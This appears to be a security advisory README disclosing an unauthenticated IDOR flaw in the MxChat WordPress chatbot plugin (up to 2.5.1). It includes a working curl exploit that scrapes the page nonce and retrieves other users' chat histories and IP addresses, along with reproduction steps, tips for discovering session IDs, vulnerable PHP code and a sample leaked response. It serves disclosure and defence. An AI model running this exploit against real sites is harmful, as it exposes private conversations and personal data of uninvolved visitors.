MxChat Basic <= 2.5.1 - MxChat – AI Chatbot for WordPress <= 2.5.1 - Unauthenticated Information Exposure

The MxChat Basic plugin does not verify session ownership in the `mxchat_fetch_conversation_history` AJAX endpoint, allowing unauthenticated users to access other users' conversation history and IP addresses through Insecure Direct Object Reference (IDOR) vulnerabilities.

TL;DR Exploits

```
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq
```

Details

The `mxchat_fetch_conversation_history()` function in `/includes/class-mxchat-integrator.php` file retrieves conversation data based solely on a client-provided `session_id` without verifying that the requester owns the session. This allows any unauthenticated user with a valid nonce (available via frontend JavaScript) to access other users' private conversation data. Additionally, the conversation history includes user IP addresses stored in the `agent_name` field, which are disclosed alongside the conversation data.

The IP address disclosure occurs in the message storage process:

Located in `class-mxchat-integrator.php`:

```
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();
```

Where `MxChat_User::mxchat_get_user_identifier()` returns the user's IP address for unauthenticated users:

```
9    public static function mxchat_get_user_identifier() {
10       if (is_user_logged_in()) {
11           $current_user = wp_get_current_user();
```

```
            return $current_user->user_login;
        } else {
            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
        }
    }
```

This IP address is then stored in the conversation history as `agent_name` and exposed when retrieving conversation data.

Session ID Disclosure in File Uploads

Session IDs are directly embedded in uploaded file names. When users upload PDF or Word documents through the chat interface, files are saved with predictable naming patterns: `mxchat_{session_id}_{timestamp}.pdf` and `mxchat_word_{session_id}_{timestamp}.docx`. This makes session IDs discoverable through various attack vectors: directory listing if server indexing is enabled on the uploads directory, access to the WordPress media library, potentially being indexed by search engines, etc.

Vulnerable snippet from `class-mxchat-integrator.php`:

```
function mxchat_fetch_conversation_history() {
    if (empty($_POST['session_id'])) {
        wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
        wp_die();
    }

    $session_id = sanitize_text_field($_POST['session_id']);
    $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
    $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');

    if (empty($history)) {
        wp_send_json_success([
            'conversation' => [],
            'chat_mode' => $chat_mode
        ]);
        wp_die();
    }

    wp_send_json_success([
        'conversation' => $history,
        'chat_mode' => $chat_mode
    ]);
    wp_die();
}
```

Manual Reproduction

1. Navigate to any page on the target WordPress site and extract the `mxchat_chat_nonce` from the page source. The nonce is exposed in frontend JavaScript as `mxchatChat.nonce` and is available to all visitors.
2. Identify a session ID (format: `mxchat_chat_{9 alphanumeric characters}`). Session IDs can be discovered through uploaded file names if directory listing or media library access is enabled, or enumerated by testing sequential patterns or common values.
3. Execute the following curl command to retrieve conversation history from any session:

```
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
```

4. You will receive a JSON response containing the complete conversation history including all user messages, bot responses, timestamps, user IP addresses, and session metadata:

```
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}
```


The `agent_name` field contains the user's IP address (`$_SERVER['REMOTE_ADDR']`) for unauthenticated users, which is disclosed alongside the conversation data.

Releases

No releases published

Packages

No packages published

Contributors 1

d0n601 Ryan Kozak